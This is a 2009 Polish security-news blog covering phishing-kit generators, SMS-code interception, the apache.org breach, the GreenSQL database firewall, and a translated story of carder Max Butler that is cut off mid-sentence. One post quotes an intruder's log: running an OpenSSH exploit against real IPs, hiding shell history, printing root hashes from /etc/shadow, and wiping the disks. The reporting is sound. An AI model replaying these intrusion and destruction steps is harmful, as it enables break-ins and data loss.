Phishing dla każdego

Październik 1st, 2009 lukas 3 comments

Środowisko cyberprzestępców rozwija się tak jak każdy dobrze zarządzany biznes – tu nie ma kryzysu. Teraz każdy 15-sto  latek (jeśli wieku nie zawyżyłem) może kraść Twoje hasła do kont bankowych, poczty, PayPal, eBay, Allegro, Rapidshare czy każdej innej strony z logowaniem i cennymi danymi na niej. Praktycznie bez żadnej wiedzy na ten temat. Nawet nie musi znać HTML czy PHP żeby zrobić stronę phishingową. Doszło do tego, że są już programy którymi można wygenerować dowolną, podrobioną stronę która będzie zapisywać dane do logowania. Oprogramowanie jakie znalazłem (przypadkowo) do tego celu to Phisher Creator 2, wygląda to tak:

Jak możemy zauważyć na załączonym obrazku opcji jest niewiele więc każdy bez problemu może stworzyć taką stronę. Wystarczy pobrać pliki strony do katalogu lub podać jedynie link i program sam stworzy taką stronę. Mało tego to na Youtube oczywiście jest instrukcja jak tego dokonać:

Categories: News Tags: ,

Nokia – telefon do przechwytywania kodów bankowych

Wrzesień 8th, 2009 lukas Brak komentarzy

Za bardzo stary model Nokii, dokładnie 1100 przestępcy są w stanie zapłacić nawet do 25 000 euro. Model ten można wykorzystać do kradzieży pieniędzy z kont bankowych po wcześniejszym przerobieniu go. Podstawowym kluczem autoryzacyjnym obecnie w przelewach są sms’y z kodami, które Nokia potrafi przechwycić.  Telefon ten potrafi się podszyć pod inny numer co daje możliwość przechwycenia kodów wysłanych przez bank.

Jedynie niektóre telefony z tego modelu wyprodukowane w Bochum, w Niemczech nadają się do przeróbki. Wzmożone zainteresowanie tym modelem na rynku lokalnym zaobserwowała holenderska firma Ultrascan. Firma jest spokojna co do możliwości Nokii gdyż sieci GSM są odpowiednio zabezpieczone, a transmisja jest szyfrowana. Nie wykluczają jednak, że taki atak jest możliwy.

Categories: News Tags:

Włamanie na apache.org

Sierpień 28th, 2009 lukas 2 comments

Wróciłem z urlopu i tu takie kwiatki.. jak włamanie na stronę apache.org – między innymi twórca bardzo znanego serwera HTTP. Na stronie przez jakiś czas mogliśmy przeczytać notę:

The Infrastructure Team of The Apache Software Foundation is currently investigating a
potential compromise of one of our servers. For security reasons most apache.org
services are therefore offline, but will be restored shortly. We apologies for any
inconvenience this may cause.

10:42am UTC: Compromise was due to a compromised SSH Key, not due to any software
exploits in Apache itself.

More details soon.

10:53am UTC: We have restored services on our european mirror machine which was
not compromised.  DNS should be shifting you over right about … now..


Ciekawe czy jakieś cenne informacje wyciekły z serwera/ów może niedługo powstaną nowe exploity na Apache? Miejmy nadzieje, że nie..

Categories: News Tags: , , ,

Luka w pakiecie OpenSSH w RHEL/CentOS?

Lipiec 8th, 2009 lukas 1 komentarz

W ciągu ostatnich 24h chodzą pogłoski o luce w OpenSSH przez którą grupa anti-sec group włamała się na serwer pewnego administratora. Cała historia zaczyna się od tego, że ów administrator oferował na największym forum dotyczącym hostingu usługi zabezpieczeń serwera i audytów (za śmiesznie niskie pieniądze). Grupa włamywaczy chciała zaprezentować, że to nie jest osoba za jaką się podaje jeśli chodzi o umiejętności i postanowili ukarać admina włamywając się na jego serwery i blokując je.

anti-sec:~/pwn# ./map ssanz.net

IP: 66.197.143.133 ( osiris.ssanz.net )
WWW: Apache/2.2.11
SSH: SSH-2.0-OpenSSH_4.3

IP: 66.197.204.101 ( devil.ssanz.net )
WWW: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8e-fips-rhel5
mod_mono/2.4 mod_auth_passthrough/2.1 mod_bwlimited/1.4
SSH: SSH-2.0-OpenSSH_4.3

anti-sec:~/pwn# cd xpl/

anti-sec:~/pwn/xpl# ./0pen0wn -h 66.197.143.133 -p 22

[+] 0wn0wn - anti-sec group
[+] Target: 66.197.143.133
[+] SSH Port: 22

[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]

sh-3.2# export HISTFILE=/dev/null

sh-3.2# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

sh-3.2# uname -a
Linux osiris.ssanz.net 2.6.24.5-grsec-hostnoc-4.0.0-x86_64-libata
#1 SMP Mon Aug 25 15:56:12 EDT 2008 x86_64 x86_64 x86_64 GNU/Linux

Najpierw host został przeskanowany przez włamywaczy aby zdobyć wersję zainstalowanego serwera WWW oraz OpenSSH, następnie wykonano zdalny atak na usługę OpenSSH i uzyskano powłokę z uid=0 i gid=0, czyli prawa root’a. Jak widać jądro systemu posiada łaty, między innymi grsec.

sh-3.2# head -n1 /etc/shadow
root:$1$t4e0hufX$UH4Q5jTj93EEAODNrSaWO/:14412:0:99999:7:::

sh-3.2# w
 03:43:43 up 7 days, 54 min, 1 user, load average: 9.01, 9.78,
10.73
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 125.238.144.224 20:17 7:26m 13:18 13:18 htop

Później następuje penetracja systemu, przegląd pliku z zaszyfrowanymi hasłami, sprawdzenie kto jest zalogowany w systemie, przegląd plików na serwerze, czytanie historii powłoki, logowanie do baz danych i wiele innych. Na sam koniec włamywacze używając jakiegoś skryptu/programu blokują serwer:

sh-3.2# df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/sda5             2.0G  477M  1.4G  26% /
/dev/sda8             875G  147G  684G  18% /home
/dev/sda3             9.7G  6.8G  2.5G  74% /usr
/dev/sda2             9.7G  7.0G  2.3G  76% /var
/dev/sda1              99M   23M   72M  24% /boot
/dev/sda6             996M   64M  881M   7% /tmp
tmpfs                 3.9G     0  3.9G   0% /dev/shm
/dev/sdb1             459G  163G  273G  38% /backup

sh-3.2# ./wipe

sh-3.2# df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/sda5              64Z   64Z  1.5G 100% /
/dev/sda8              64Z   64Z  729G 100% /home
/dev/sda3              64Z   64Z  3.0G 100% /usr
/dev/sda2              64Z   64Z  3.0G 100% /var
/dev/sda1              16Z   16Z     0 100% /boot
/dev/sda6              64Z   64Z  933M 100% /tmp
tmpfs                 3.9G     0  3.9G   0% /dev/shm
/dev/sdb1              64Z   64Z  296G 100% /backup

sh-3.2# exit
exit
- -----------------------------------
osiris			[ DOWN ]

Analogiczna sytuacja dzieje się w przypadku drugiego serwera:

anti-sec:~/pwn/xpl# ./0pen0wn -h 66.197.204.101 -p 22

                [+] 0wn0wn - anti-sec group
                [+] Target: 66.197.204.101
                [+] SSH Port: 22

                [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]

sh-3.2# export HISTFILE=/dev/null

sh-3.2# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

sh-3.2# uname -a
Linux devil.ssanz.net 2.6.24.5-grsec-hostnoc-4.0.0-x86_64-libata #1
SMP Mon Aug 25 15:56:12 EDT 2008 x86_64 x86_64 x86_64 GNU/Linux

sh-3.2# head -n1 /etc/shadow
root:$1$BitobdhB$SAscpWG4O51UZQzxpBxbI1:14407:0:99999:7:::

sh-3.2# w
 04:10:20 up 4 days, 12:11, 1 user, load average: 3.25, 2.09, 1.68
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 125.238.144.224 20:18 7:51m 6:38 6:38 htop

sh-3.2# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda3 31G 7.5G 22G 26% /
/dev/sdb1 452G 35G 394G 9% /home
/dev/sda1 99M 23M 72M 24% /boot
tmpfs 495M 4.0K 495M 1% /dev/shm
/usr/tmpDSK 485M 14M 446M 3% /tmp

sh-3.2# who
root pts/0 2009-07-03 20:18 (125.238.144.224)

sh-3.2# ./wipe

sh-3.2# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda3 64Z 64Z 24G 100% /
/dev/sdb1 64Z 64Z 417G 100% /home
/dev/sda1 16Z 16Z 77M 100% /boot
tmpfs 495M 4.0K 495M 1% /dev/shm
/usr/tmpDSK 485M 14M 446M 3% /tmp

sh-3.2# exit
exit
- -----------------------------------
osiris [ DOWN ]
devil [ DOWN ]

Marcus H. Sachs – dyrektor, SANS Internet Storm Center otrzymał anonimowego maila z informacjami które dają dowody na istnienie exploit’u na OpenSSH.

Z innych źródeł wynika, że luka występuje jedynie w paczkach dla RHEL/CentOS’a i wprowadzona została podczas procesu backportowania pakietów do RHEL’a.

Log: opensshd_sniff_bug.pcap

System IDS/IPS dla bazy danych MySQL

Lipiec 1st, 2009 lukas Brak komentarzy

Ostatnimi czasy przyszło mi testować bardzo ciekawe rozwiązanie jakim jest firewall z funkcjami IDS (Intrusion Detection System) i IPS (Intrusion Prevention System).

GreenSQL bo tak nazywa się firewall to open source’owa aplikacja do ochrony przed atakami typu sql injection. Działa jako proxy i jest przeznaczony dla silnika bazy MySQL.

Idea działania jest taka, że wszystkie zapytania najpierw przechodzą przez firewall gdzie poddawana są analizie, a następnie trafiają do silnika MySQL. Oczywiście nie ma najmniejszego problemu aby firewall i baza danych MySQL była na tym samym serwerze.

GreenSQL wspiera:

- tryb symulacji (IDS)

- tryb blokowania podejrzanych komend (IPS)

- tryb uczenia

- aktywna ochtrona przez nieznanymi zapytaniami (firewall)

Podczas trybu symulacji nic nie jest blokowane jedynie zapytania są punktowane według pewnej techniki, a administrator jest powiadamiany o możliwych zagrożeniach.

W trybie IPS’a firewall automatycznie blokuje nieporządane zapytania, wcześniej również sprawdza tzw. whitelist (białą listę zapytań) jeśli zapytanie znajduje się na liście to zostaje przepuszczone. Oczywiście może się tak zdarzyć, że zapytania które chcemy przepuścić zostaną oznaczone przez system jako nielegalne i w takim wypadku bardzo dobrze sprawdza się whitelist’a.

Tryb nauczania jak sama nazwa wskazuje ma na celu przez dany okres czasu uczyć się zapytań które są najczęściej wykonywane i dodawać jest do whitelist’y, po czasie system przechodzi w tryb aktywnej ochrony i działa jak firewall, przepuszczając tylko odpowiednie wpisy.

Nielegalne zapytania wykrywane są przez metody:

- wyszukiwanie administacyjnych i ‘poufnych’ komend/zapytań

- kalkulacja zagrożenia zapytania

Wyszukiwanie administracyjnych/poufnych komend odbywa się według wzorca który został zastosowany w systemie, do tego dochodzą komendy próbujące zmienić strukturę bazy czy też dostępu do plików.

Kalkulacja zagrożenia odbywa się na zasadzie badania zapytania pod względem:

- dostępu do poufnych tabel typu (użytkownicy, konta, informacje bankowe i inne)

- komenatrze wewnątrz zapytań

- używanie pustych haseł

- używanie ‘or’ wewnątrz zapytań

- używanie zapytań które zawsze zwracją ‘true’ (SQL tautology)

- i inne

W jaki sposób firewall blokuje zapytania?

Otóż gdy zapora stwierdzi, że zapytanie powinno być zablokowane, zostaje wygenerowany pusty wynik i przesłany spowrotem do aplikacji przez co może on kontynuować.

Dużą zaletą jest również panel do zarządzania całym firewallem. Dostępny przez przeglądarkę internetową, prosty i przejrzysty w obsłudze.

W fabryce kart kredytowych (wideo)

Czerwiec 13th, 2009 lukas 1 komentarz

Detektyw Bob Watts z departamentu policji w Newport Beach zabiera nas na wycieczkę po wyrafinowanej operacji podrabiania kart płatniczych przez Chris Aragona, wspólnika Maxa Butlera z tego artykułu.

Detektyw opowiada w jaki sposób tłoczone są podrobione karty płatnicze.

Oryginalny artykuł pod tym adresem.

Bezczelny plan pewnego hackera: jak rządzić czarnym rynkiem skradzionych numerów kart kredytowych (prawdziwa historia)

Czerwiec 13th, 2009 lukas 3 comments

Upał w mieszkaniu Maxa Butlera był niemalże nie do wytrzymania. Winny był sprzęt. Butler upchnął kilka serwerów i laptopów w kawalerce wysoko ponad dzielnicą Tenderloin w San Francisco, ilość procesorów i monitorów wytwarzała skwar, który wręcz pulsował w pokoju. Butler wstawił kilka wentylatorów, niemniej jednak nie przyniosły one wielkich zmian. Rachunek za prąd był tak wysoki, że właściciel mieszkania podejrzewał Butlera o produkcję narkotyków.

Lecz jeśli Butler zamierzał przejąć kontrolę nad internetowym światem przestępczym, musiał załagodzić sytuację. Przez niemal dwie dekady doprowadzał do perfekcji swoje hackerskie zdolności. Nie tylko uzyskiwał darmowe rozmowy z lokalnych firm telekomunikacyjnych, ale także wkradał się do maszyn Sił Zbrojnych Stanów Zjednoczonych. Aktualnie, w sierpniu 2006 roku miał dokonać najbardziej zuchwałego ze swoich posunięć, to jest przejęcia internetowego czarnego rynku, gdzie cyberprzestępcy kupują i sprzedają dosłownie wszystko, od skradzionych dowodów tożsamości po urządzenia do podrabiania. Wartość handlu na tych stronach szacowano na miliony dolarów każdego roku, Butler miał zatem w planie przejąć kontrolę nad wszystkimi z nich.

Usadowił się wygodnie na krześle, oparł palce na klawiaturze niemalże jak pianista podczas koncertu, po czy rozpoczął swój atak. Większość nielegalnego sieciowego handlu została upchnięta na czterech tak zwanych ‘carder sites’ – stronach dla internetowych kryminalistów, na których kupowali i sprzedawali oni numery kart kredytowych, numery ubezpieczeń społecznych i inne skradzione dane. Butler przejął je wszystkie. (Ta historia, podobnie jak reszta artykułu, została odtworzona na podstawie dokumentacji sądowej oraz rozmów z przyjaciółmi i wspólnikami; Butler odmówił udzielenia wywiadu.) Najpierw przełamał ochronę tych stron, sprawiając by serwery baz danych SQL wykonywały jego własne polecenia, bądź po prostu wślizgując się używając shackowanego hasła. Gdy był już wewnątrz, „wyssał” całą zawartość, włącznie z loginami, hasłami i adresami internetowymi wszystkich, którzy sprzedawali i kupowali za pośrednictwem tych stron. I wówczas zdziesiątkował je, kasując bazy danych z łatwością podpalacza rozpalającego zapałkę. Pracował przez bite dwa dni; gdy padał ze zmęczenia, rzucał się na składane łóżko na godzinę lub dwie, po czym wstawał i wracał do pracy. Butler wysłał mail pod kryptonimem Iceman do wszystkich złodziei, których konta przywłaszczył. Niezależnie od tego, czy chcieli, czy nie, byli oni teraz członkami jego własnej strony, CardersMarket.com. Przez to jedno śmiałe posunięcie Butler stworzył największe kryminalne targowisko, jakie kiedykolwiek widziano w sieci, z 6 tysiącami użytkowników.

To przejęcie było wszystkim. Rynek skradzionych danych był wcześniej podzielony na zbyt wiele stron, wszystkie z nich były pełne donosicieli i „wtyczek” i dziur w zabezpieczeniach. Poprzez przejęcie kontroli nad całym podziemiem, Butler stworzył rynek w którym mógł pokładać zaufanie. Co więcej, zaspokoiło to jego chęć rywalizacji. Poza siecią Butler był delikatnym, wielkodusznym olbrzymem z wrażliwością hippisa. Niemniej jednak w zaciszu swojej kryjówki, Iceman rozwijał swoją działalność z olbrzymim zapałem. W zasadzie nie chodziło mu nawet o pieniądze. Chciał po prostu udowodnić, że jest sprytniejszy, bardziej zuchwały i bezwzględny niż ktokolwiek inny.

To brutalne przejęcie było przede wszystkim szczytowym osiągnięciem Butlera, ale też oznaką początku jego upadku. Jego działania sprawiły, że stał się celem wprowadzanych w życie nowych praw, był on przecież uosobieniem zupełnie nowego rodzaju przestępcy komputerowego: wyrachowanego oszusta, który objawił się jako o wiele gorsza zmora internetowa, niż zwykli, „rekreacyjni” hakerzy. Wzrost nielegalnych stron pozwalał przestępcom na całym świecie na zakup danych, sprzętu i usług. Od 2005 roku hakerzy i ich skorumpowani ludzie – „wtyczki” wykradli ponad 140 milionów danych z banków Stanów Zjednoczonych, a także innych firm, szacowanych na około 67 miliardów dolarów strat rocznie (według danych FBI). W 2002 roku, dyrektor FBI, Robert Mueller uznał cyberprzestępstwa jako jedne z priorytetowych dla federalnych, tuż po terroryzmie i obcym wywiadzie. Przejęcie władzy przez Butlera umieściło go bezpośrednio w „strefie śmierci” agentów FBI.

W nadchodzących dniach pokonani konkurenci wpadli w szał z powodu wymuszonej fuzji, walczyli by odzyskać swoich użytkowników, organizowali bezskuteczne kontrataki. Jeśli Butler był w jakimkolwiek stopniu zastraszony siłami mobilizowanymi przeciwko niemu, nie dawał tego po sobie poznać. „Właściwie”, pisał później, „połączenie sił było zdecydowanie zbyt opóźnione.” Był nieustraszony i przez to przesądzony, tak jak od zawsze.

Od samego początku, Max Butler, obecnie 36-letni, walczył by znaleźć swoje miejsce w świecie. Najstarszy z dwojga dzieci, dorastał w Meridian w stanie Idaho – maniak komputerowy w wiejskim miasteczku, gdzie mistrzowie rodeo mieli wszystkie dziewczyny. Jego rodzice rozwiedli się gdy miał 14 lat. Butler znalazł swoje środowisko w lokalnej społeczności BBS. Komputery zapewniały alternatywną rzeczywistość, miejsce, w którym każdy problem mógł być rozwiązany przez chęć, przebiegłość bądź rozsądek. Hackerstwo było jeszcze bardziej ekscytujące, dodawało bowiem wymiaru rywalizacji i przygody. Nim skończył szkołę średnią, jak mówią jego znajomi, Butler bawił się w hakowanie komputerów i telefonów, taszcząc drukowane magazyny Phrack do klasy i załatwiając darmowe rozmowy telefoniczne.

Rozwijał także swoje agresywne zdolności. Jako wysportowany chłopak, był   jednym z niewielu, którzy mogli sprzeciwić się zbirom w kowbojskich           kapeluszach, którzy szydzili z jego przyjaciół na każdym rogu. Nie był on jedynie zadziorny czy skory do bójki – stwarzał problemy gdzie tylko się pojawił. W przedostatnim roku nauki włamał się do swojej szkoły, nabazgrał wiadomości na tablicach i rozpylił gaśnicę przeciwpożarową na korytarzach tuż przed splądrowaniem gabinetu z chemikaliami w laboratorium. Psychiatrzy później zdiagnozowali u niego dwubiegunowe zaburzenia. W 1990, pierwszym roku studiów, jego dziewczyna po ośmiu miesiącach powiedziała, że chce spotykać się z kimś innym. Butler źle zniósł zerwanie – notorycznie do niej wydzwaniał, straszył samobójstwem. Kiedy odwiedziła go w domu jego matki by z nim porozmawiać, złapał ją za gardło i groził uduszeniem. Butler został oskarżony o napaść z użycie śmiertelnej broni – jego dłoni. W 1991 roku, ława przysięgłych uznała go za winnego, otrzymał wówczas surowy wyrok pięciu lat w więzieniu.

Butler wyszedł z więzienia w 1995 roku i próbował zacząć na nowo. Przybrał nawet nowe imię – Max Vision, i przeprowadził się do Bay Area, gdzie kilku jego znajomych z Idaho zamieszkało po studiach. Grupa wynajęła rezydencję z widokiem na Half Moon Bay, senne miasteczko na Pacyfiku, 20 mil od Silicon Valley, gdzie internetowa gospodarka dopiero dojrzewała. Przekształcili oni dom w raj dla maniaków komputerowych, zapełniając go wysokiej jakości maszynami do gier i przeciągając przez korytarze kable Cat 5. Gdy słońce zachodziło, Butler cieszył się swoją wolnością na całonocnych imprezach w San Francisco. Na jednej z nich poznał śliczną studentkę, Kimi Winters, po czym zaprosił ją na imprezę do siebie następnego wieczoru. Sześć miesięcy później byli już po ślubie.

Dwudziestokilkuletni Bulter zaczął myśleć o ustatkowaniu się, dlatego też założył firmę doradczą, reklamując się jako haker do wynajęcia. Zarabiał ponad 100 dolarów na godzinę wykonując testy bezpieczeństwa dla różnych przedsiębiorstw, równocześnie jako wolontariusz wykorzystywał swoje zdolności dla biura FBI w San Francisco. To jednak nie wystarczało. Dla hakera z krwi i kości łamanie zabezpieczeń systemów pod okiem właściciela jest jak oglądanie pornosów podczas gdy masz możliwość uprawiać seks. Tak więc, jak mówią jego przyjaciele, spędzał większość wolnych godzin buszując po prywatnych sieciach – był to ten właśnie rodzaj włamań, przed jakim całymi dniami bronił swoich klientów.

Wiosną 1998 roku, jego podwójne życie zakończyło się. Internetowi eksperci znaleźli dziurę w zabezpieczeniach wszechobecnych w BIND daemon’ie serwera nazw. Jeśli zostałoby to bez poprawki, pozwoliłoby atakującym przejąć kontrolę nad setkami, jeśli nie tysiącami maszyn. Butler wziął na siebie włamanie się na strony federalnych i naprawienie błędu. Podczas gdy miał do nich dostęp zainstalował jednak mały backdoor, zostawiając sobie furtkę umożliwiającą dostanie się do rządowych i militarnych sieci całego kraju.

Wyskakujące okienka poinformowały Butlera, jak za każdym razem, kiedy jego backdoor kończył się instalować, i właśnie w tej chwili na ekranie jego komputera nastąpiła eksplozja różnego rodzaju ostrzeżeń: baz militarnych, laboratoriów atomowych, ministerstw: finansów, transportu oraz spraw wewnętrznych Stanów Zjednoczonych, a nawet narodowego instytutu opieki zdrowotnej. Wówczas, kilka tygodni później, ktoś zapukał do drzwi. Byli to ci sami agenci FBI, którym jako wolontariusz pomagał, wraz z detektywem sił zbrojnych, który wyśledził Butlera właśnie dzięki wyskakującym okienkom. Trzy lata po tym, jak wyszedł z więzienia z możliwością gruntownej zmiany swojego życia, Butler wrócił tam ponownie.

W maju 2001 roku został skazany na 18 miesięcy w więzieniu federalnym Taft. Dwa miesiące później, Winters telefonicznie poinformowało go, że żąda rozwodu. Poznała kogoś innego. „Nie wiem, czy ty w ogóle jeszcze myślisz o przyszłości”, powiedziała.

Butler krzyczał i błagał. Jego żona przejechała 300 mil na południowy wschód, do więzienia w Taft. Kiedy wprowadzono Butlera, bezowocnie prosił ją by zmieniła zdanie. Naprawdę myślał o przyszłości, powiedział jej wówczas, i miał już pewne plany. „Rozmawiałem z kilkoma osobami,” rzekł, ściszając głos, „ludźmi, z którymi myślę, że mógłbym pracować.”

Jeff Norminton kończył swoją 11miesięczną odsiadkę w Taft za oszustwa kiedy spotkał Butlera. Uderzył go rzucający się w oczy talent czarującego komputerowca. Ten duet spacerował codziennie po dziedzińcu, jak mówią towarzysze, fantazjując o wspólnej pracy, gdy tylko wydostaną się z więzienia. Butler mógł włamać się do domów maklerskich, skąd mieli dostać się do rachunków obrotowych i banków. Po tym jednym łupie byliby ustawieni do końca życia. (Norminton odmówił komentowania tego artykułu.)

To rodzaj pogawędek na jakie hakerzy zazwyczaj pozwalają sobie kiedy zostają aresztowani i pierwszy raz umieszczeni z zawodowymi przestępcami. Po tym jak wychodzą, wcześniejsze plany najczęściej odchodzą w zapomnienie. Początkowo, tak samo było z Butlerem. W 2002 roku został przeniesiony z Taft do ośrodka resocjalizacyjnego w Oakland. Miał znaleźć pracę lub wrócić z powrotem do więzienia, dlatego też zaczął oferować swoje usługi po niższych cenach. „Ostatnich sześciu pracodawców płaciło mi ponad 100 dolarów za godzinę mojego czasu”, pisał w dziale z ogłoszeniami pracy w bezpieczeństwie komputerowym. „Teraz chcę jedynie 6,75 dolarów.”

Firma Berkeley odpowiedziała na jego ofertę, dlatego Butler przeprowadził się z nową dziewczyną. Charity Majors – adminem strony pornograficznej. Malowała ona paznokcie na kolory Skittlesów i nosiła soczewki kontaktowe, które nadawały jej oczom niesamowity, szmaragdowy odcień. Połączenie niskich zarobków i drogiego, nowego mieszkania sprawiło, że znów walczył o pieniądze. Kiedy Norminton zadzwonił by ciągnąć dalej ich plany z dziedzińca więziennego, Butler słuchał uważnie. Norminton chciał zapoznać Butlera z jednym z jego znajomych. Christopher Aragon prowadził ostatnio firmę leasingową Orange County, miał dostęp do pieniędzy i, co ważniejsze, cieszył się świetną reputacją w przestępczym światku – kiedy miał 18 lat, trzy razy po napadach na banki w Colorado prowadził samochód pomagający uciec złodziejom. Odsiedział 8 i pół roku i nigdy nikogo nie wydał.

Norminton zaprosił Aragona do San Francisco, gdzie w sklepie z kawą Notrh Beach spotkali się z Butlerem. „To facet, który pomoże nam sfinansować nasze plany.”, rzekł Norminton z uśmiechem. Trójka rozmawiała przez kilka godzin – Aragon i Butler byli wegetarianami, oboje wyznawali filozofię ‘Age of Aquarius’ (era Wodnika) – później przenieśli się go pubu Holiday, gdzie Butler wykonał kilka podstawowych trików. Aragon był pod wrażeniem. Dostał listę zakupów, których Butler potrzebował by zacząć. Znajdowały się na niej między innymi nowy laptop, kryptograf jakości takiej, jak w armiach, oraz antena.

Butler wyszedł z więzienia w samą porę na cyberprzestępczą gorączkę złota. W 2002 roku powstała pierwsza generacja carder sites, tchnęła ona ducha przedsiębiorczości jakiego nigdy wcześniej nie widziano. Po raz pierwszy złodziej dowodów tożsamości w Denver mógł kupić skradzione numery kart kredytowych od hakera z Moskwy, wysłać je do Szanghaju by zostały przekształcone w podrobione karty, i wówczas dostać także podrobione prawo jazdy od fałszerza z Ukrainy.

Hakowanie z domu jest jednak tylko dla idiotów i nastolatków, zbyt proste byłoby dla organów ochrony pożytku publicznego prześledzenie adresu IP i wezwanie do sądu dostawcy usług internetowych dla tego obszaru. Więc, według pomysłu Aragona, raz w miesiącu on i Butler przenosili się do centrum San Francisco, gdzie wynajmowali pokój w jednym z hoteli takich jak the Hilton, Westin, W, Hyatt na maksymalnie tydzień. Przemycali antenę Butlera do pokoju, montowali ją na trójnogu przymocowanym do podłogi tuż przy oknie. Butler majsterkował przez chwilę by znaleźć szybkie bezprzewodowe połączenie z silnym sygnałem, do którego mógł się podpiąć i anonimowo używać. Jeśli okazywało się to niemożliwe, Aragon biegł do recepcji z prośbą o inny pokój, tłumacząc, że jego komórka nie może złapać zasięgu lub ma zbyt duży lęk wysokości by mieszkać na dwudziestym piętrze.

Aragon przypominał sobie, że Butler w więzieniu nie miał do czynienia z hackerstwem, zaczynał więc od atakowania łatwych celów – innych hakerów, typów, którzy rozwijali swoje zęby, ale nie skorupki. Czaił się na czatach internetowych, wyszukując najbardziej bezbronnych cyberoszustów, następnie włamywał się do ich systemów. Czyścił wszystko – informacje o skradzionych dowodach tożsamości, hasłach, PINach… Najbardziej wartościowymi dobrami były „dumpy” (zrzuty), dane z magnetycznych pasków mieszczących się na kartach kredytowych, podwędzane początkowo przez skorumpowanych kelnerów pracujących w restauracjach, obsługę stacji benzynowych – tych, którzy posługiwali się kieszonkowymi czytnikami. Kradzieże numerów kart kredytowych były sposobem by nabierać instytucje udzielające kredytów bez bezpośredniego działania na szkodę niewinnych klientów, którzy nie mogli być obciążani odpowiedzialnością za oszustwo – dodatkowy plus dla humanisty Butlera.

Kiedy Butler zdobywał “dumpy”, Aragon zaczynał pracę, pospiesznie wybijając fałszywe plastikowe karty, używając narzędzi do wytłaczania, drukarki do kart, prasy pracującej na gorąco i urządzenia szyfrującego paski magnetyczne MSR206. Karty były wprowadzane na linię produkcyjną Aragona jako białe plastiki, a kończyły w postaci niemal perfekcyjnych, kolorowych podróbek, pełnych, wraz z hologramami. Gdy tylko tusz wysychał, Aragon i jego przyjaciele wyruszali na zakupy. Wybierali luksusowe przedmioty, które później łatwo mogły być sprzedane paserom. Kluczem był czas – musieli wykorzystywać najnowsze i najświeższe zrzuty, kodować je na plastikowych kartach i kupować tak dużo, jak tylko mogli zanim oszuści, którzy zakupili lub skradli te numery zaczęli je wykorzystywać.

Po miesiącach obrabiania oszustów, Butler zaczął wybierać lepsze źródła. Według dokumentów sądowych, swoje cele wybierał ze strony internetowej FDIC, decydując się na małe, lokalne banki i kasy pożyczkowe, które nie mogły sobie pozwolić na dobrej jakości zabezpieczenia, a także ściągając nowe numery kart. Sprzedawał to wszystko Aragonowi – za 5 do 10 tysięcy dolarów miesięcznie – który w Orange County zatrudnił asystenta pomagającego mu w drukowaniu kart i programowaniu ich, a także śliczną, młodą dziewczynę. Jej zadaniem było robienie zakupów przy użyciu jego kart. Ich pracą było także rozchwytywanie markowych torebek, jeansów, butów i zegarków w celu sprzedania ich później na aukcjach na eBay’u. Dostawali w zamian za to pewien procent zysku. Pracę tą bardzo łatwo można było pokochać; gdy tylko udało się to pierwszy raz, później szło jak po maśle.

Do roku 2003, przedsiębiorstwo Aragona płaciło wynajem i opłacało prywatną szkołę jego najstarszego syna. Równocześnie z przybywaniem pieniędzy, były złodziej banków znajdował coraz mniej zdrowe sposoby na pozbywanie się ich. Część członków załogi Orange County lubiła imprezować, rzekł Aragon, i kokaina, ekstazy i trawka kusiły. Aragon zaczął znikać wraz ze swoimi urodziwymi pracownikami na weekendowe orgie w Vegas. (Butler preferował ascetyczny styl życia, ogromny ekran telewizyjny był jego jedynym udogodnieniem.)

Sukces zapoczątkował powstawanie rys na przyjaźni Butlera I Aragona. Butler martwił się, że nadużywanie narkotyków przez jego partnera sprawi, że stanie się on zbyt zuchwały. Zaczął dręczyć Aragona o większą część zysków. W kwietniu 2004 roku, Aragon spróbował użyć kilku podejrzanych kart w recepcji hotelu „W” w San Francisco. To poślizgnięcie skończyło się aresztem, trzyletnim nadzorem kuratorskim i dożywotnim zakazem korzystania z sieci hoteli „W”. Był to ten rodzaj głupich wpadek jakie zdarzały się ludziom Aragona przez cały czas – sprawy dla lokalnej policji, bez dogłębnego śledztwa – jednak dla Butlera było to niewybaczalne zaniedbanie. Zaczął rozglądać się za innymi chętnymi na jego towary.

Dla większości cyberprzestępców oznaczałoby to założenie konta na Shadowcrew, strona carderów z 4 tysiącami użytkowników. Butler zalogował się jako Iceman, ale szybko stał się podejrzliwy. Jeden z adminów serwisu, zwany Cumbajohny, zachęcał użytkowników do używania prywatnej sieci wirtualnej tylko dla zaproszonych, by uniknąć inwigilacji. To dało Cumbajohny’emu wyłączny „wizjer” na działania członków sieci. Ta oferta ewidentnie odstraszyła Butlera, który trzymał się na dystans. Cztery miesiące później, gdy służby specjalne zamknęły 28 członków Shadowcrew oraz zablokowały stronę, okazało się, że Cumbajohny był donosicielem. Operacja Firewall, jak było to nazywane, była największym w historii przypadkiem akcji przeciwko komputerowemu podziemiu przestępczemu. Prokurator Generalny Stanów Zjednoczonych, John Ashcroft, wypowiadał się o tym jako o pierwszym większym zwycięstwie w wojnie przeciwko stronom carderów.

Rozsądek Butlera sprawił, że przetrwał bezpieczny. Pomimo tego, że powstawały nowe internetowe fora, zdecydował, że chce stworzyć swoje własne – CardersMarket. Wprowadził standardowe cechy: sprzedawcy przedstawiali ich produkt zatwierdzonemu recenzentowi, który przeprowadzał test transakcji. Fałszywe dowody lub podrabiane plastiki były analizowane pod kątem rozmytych log, brakujących mikro-nadruków i pasków na podpisy, na których nie dało się pisać piórem kulkowym. Kupcy byli klasyfikowani po każdej transakcji, a sprzedawcy, którzy nie doręczali tego, co obiecywali, byli oznakowani epitetem „ripper” – ekwiwalentem jednej gwiazdki na eBay’u. Butler zgromadził ekipę starannie wyselekcjonowanych adminów – zaufanych szefów forum, którzy mieli władzę usuwania postów, banowania użytkowników, a także mianowania recenzentów. Jeden z nich, Gollumfun, przetrwał Operację Firewall i cieszył się znakomitą reputacją w świecie przestępczym. Kolejny, Zebra, był nastolatkiem z Nowego 